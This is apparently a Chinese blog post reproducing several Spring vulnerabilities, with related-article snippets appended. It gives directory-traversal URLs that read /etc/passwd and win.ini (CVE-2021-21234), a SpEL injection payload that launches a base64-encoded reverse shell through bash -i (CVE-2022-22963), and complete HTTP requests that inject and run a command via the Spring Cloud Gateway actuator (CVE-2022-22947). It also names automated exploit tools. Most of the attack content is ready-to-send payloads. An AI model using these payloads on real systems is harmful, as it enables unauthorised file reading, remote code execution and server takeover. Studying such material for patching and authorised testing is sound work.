首页 > 其他分享 >Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

时间:2023-09-26 09:02:22浏览次数:80  
标签:&& .. -- Spring 2022 CVE

Spring Boot 目录遍历--表达式注入--代码执行--(CVE-2021-21234)&&(CVE-2022-22963)&&(CVE-2022-22947)&&(CVE-2022-2296)

Spring Boot 目录遍历 (CVE-2021-21234)

漏洞简介

spring-boot-actuator-logview 是一个简单的日志文件查看器作为Spring Boot执行器端点,在 0.2.13 版本之前存在着目录遍历漏洞,编号 CVE-2021-21234。漏洞本质是Spring Boot 执行器通过请求的参数来指定文件名和文件夹路径,经过组合拼接达到目录遍历,虽然源码中检查了文件名(filename)参数来防止目录遍历,但是没有检查文件夹(base)参数,造成了目录遍历

影响范围

spring-boot-actuator-logview < 0.2.13

漏洞复现

Windows:
http://<target_url>/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
http://<target_url>/log/view?filename=/windows/win.ini&base=../../../../../../../../../../
Linux:
http://<target_url>/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../
http://<target_url>/log/view?filename=/etc/passwd&base=../../../../../../../../../../

Spring Cloud Function Spel表达式注入(CVE-2022-22963)

漏洞简介

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响范围

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

漏洞复现

POC:

POST:/functionRouter

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,反弹shell命令base64编码}|{base64,-d}|{bash,-i}")

Spring Cloud Gateway远程代码执行漏洞(CVE-2022-22947)

漏洞简介

Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式。当启用或暴露不安全的 Gateway Actuator 端点时,使用 Spring Cloud Gateway 的应用程序容易受到代码注入攻击,远程攻击者可以通过发送恶意请求以执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限

影响范围

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的Spring Cloud Gateway 版本

漏洞复现

  • 手工复现
    添加执行id命令的名为test的路由,状态码返回201即正确添加
POST /actuator/gateway/routes/test HTTP/1.1
Host: 目标主机
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

刷新路由,状态码返回200正确

POST /actuator/gateway/refresh HTTP/1.1
Host:目标主机
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

直接访问路由

/actuator/gateway/routes/test

在这里插入图片描述

/?cmd=

Spring Framework远程代码执行漏洞 (CVE-2022-22965)

漏洞参考

深度解析丨Spring框架远程命令执行漏洞复现及流量特征分析(CVE-2022-22965)

自动化工具

Spring4Shell-POC
SpringBoot-Scan
不知到为啥,手工和工具都有可能翻车,多试几次。

标签:&&,..,--,Spring,2022,CVE
From: https://www.cnblogs.com/Pengj/p/17729309.html

相关文章

  • Java当中如何用“for循环嵌套”在相应的行数打出对应的星星数?
    1.首先打开一个类,在这个类中创建一个方法2.我们用i来替代行数,j来替代星星数3.在for循环的嵌套中,外层循环进行一次,内层循环全部进行for语句的语法为for(起始条件,结束条件,循环增量)第一次循环开始:外部i=1(外层执行),内部j=1(内层执行),j<i+1(内层结束),打出结果“*”,由于......
  • 恢复Delphi工具栏
    打开注册表,找到下面项,把Toolbars删除!计算机\HKEY_CURRENT_USER\SOFTWARE\Embarcadero\BDS\22.0\Toolbars 重新进入Delphi,恢复默认状态!如下图的状态,删除后,恢复了! ......
  • 山海鲸智慧交通解决方案demo——构建未来城市出行的数字蓝图
    随着城市化进程的不断加速,城市交通问题也变得日益严重。为了改善城市交通体验、提高出行效率以及减少交通拥堵和环境污染。山海鲸可视化打造城市智慧交通系列解决方案模板,解决方案以“数字孪生技术”为核心,通过数据分析、人工智能和物联网技术来优化城市出行,下面带大家详细了解一......
  • 我的支付宝口令码是多少?
    大家好,在这里分享一下如何查看自己的支付宝口令码? 步骤:操作步骤很简单 1、首先支付宝搜索赚钱红包,点击进去 2、然后以QQ的方式进行分享出去,就可以看到你的口令码是多少了。例如:分享出去的内容是: 那么我的支付宝口令码是:835899273,只要复制这串数字就可以领到红包了,每......
  • 更目录下加载图片生成文档插入图片
    importosfromdocximportDocumentimportPillowfromdocx.sharedimportInches#定义你想要遍历的文件夹路径folder_path='C:/Users/Administrator/Desktop/新建文件夹(2)'#遍历文件夹中的所有子文件夹forsubdir,dirs,filesinos.walk(folder_path):fi......
  • EMQX学习笔记:配置文件
    本文更新于2023-02-27,使用EMQX4.4.3。目录acl.confemqx.confplugins/emqx_auth_http.confplugins/emqx_auth_jwt.confplugins/emqx_auth_mongo.confplugins/emqx_coap.confplugins/emqx_management.confplugins/emqx_web_hook.conf官方文档:https://www.emqx.io/docs/zh/v4.4/co......
  • R语言多元(多变量)GARCH :GO-GARCH、BEKK、DCC-GARCH和CCC-GARCH模型和可视化|附代码数据
    全文链接:http://tecdat.cn/?p=30647最近我们被客户要求撰写关于GARCH的研究报告,包括一些图形和统计输出。从Engle在1982发表自回归条件异方差(ARCH)模型的论文以来,金融时间序列数据的波动性就倍受关注。同时,近几年又出现了研究股票市场的波动传递性多市场的多维广义自回归条件......
  • docker安装
    一、安装DockerCE先决条件1.1、系统要求DockerCE支持64位版本CentOS7,并且要求内核版本不低于3.10。CentOS7满足最低内核的要求,但由于内核版本比较低,部分功能(如overlay2存储层驱动)无法使用,并且部分功能可能不太稳定。1.2、查看系统内核版本[root@server04~]#cat/proc......
  • GENERATED_BODY()函数是什么?
    会发现它是一个宏定义//Includearedundantsemicolonattheendofthegeneratedcodeblock,sothatintellisenseparserscanstartparsing//anewdeclarationifthelinenumber/generatedcodeisoutofdate.#defineGENERATED_BODY_LEGACY(...)BODY_MACRO......
  • 第九十八场周赛. AcWing 4949. 末尾连续0
    第九十八场周赛.AcWing4949.末尾连续0给定一个正整数\(m\),请你统计一共有多少个正整数\(n\)满足,\(n\)的阶乘的末尾连续\(0\)的数量恰好为\(m\)。输出满足条件的\(n\)的数量以及所有满足条件的\(n\)。例如,当\(m=1\)时,满足条件的正整数\(n\)共有......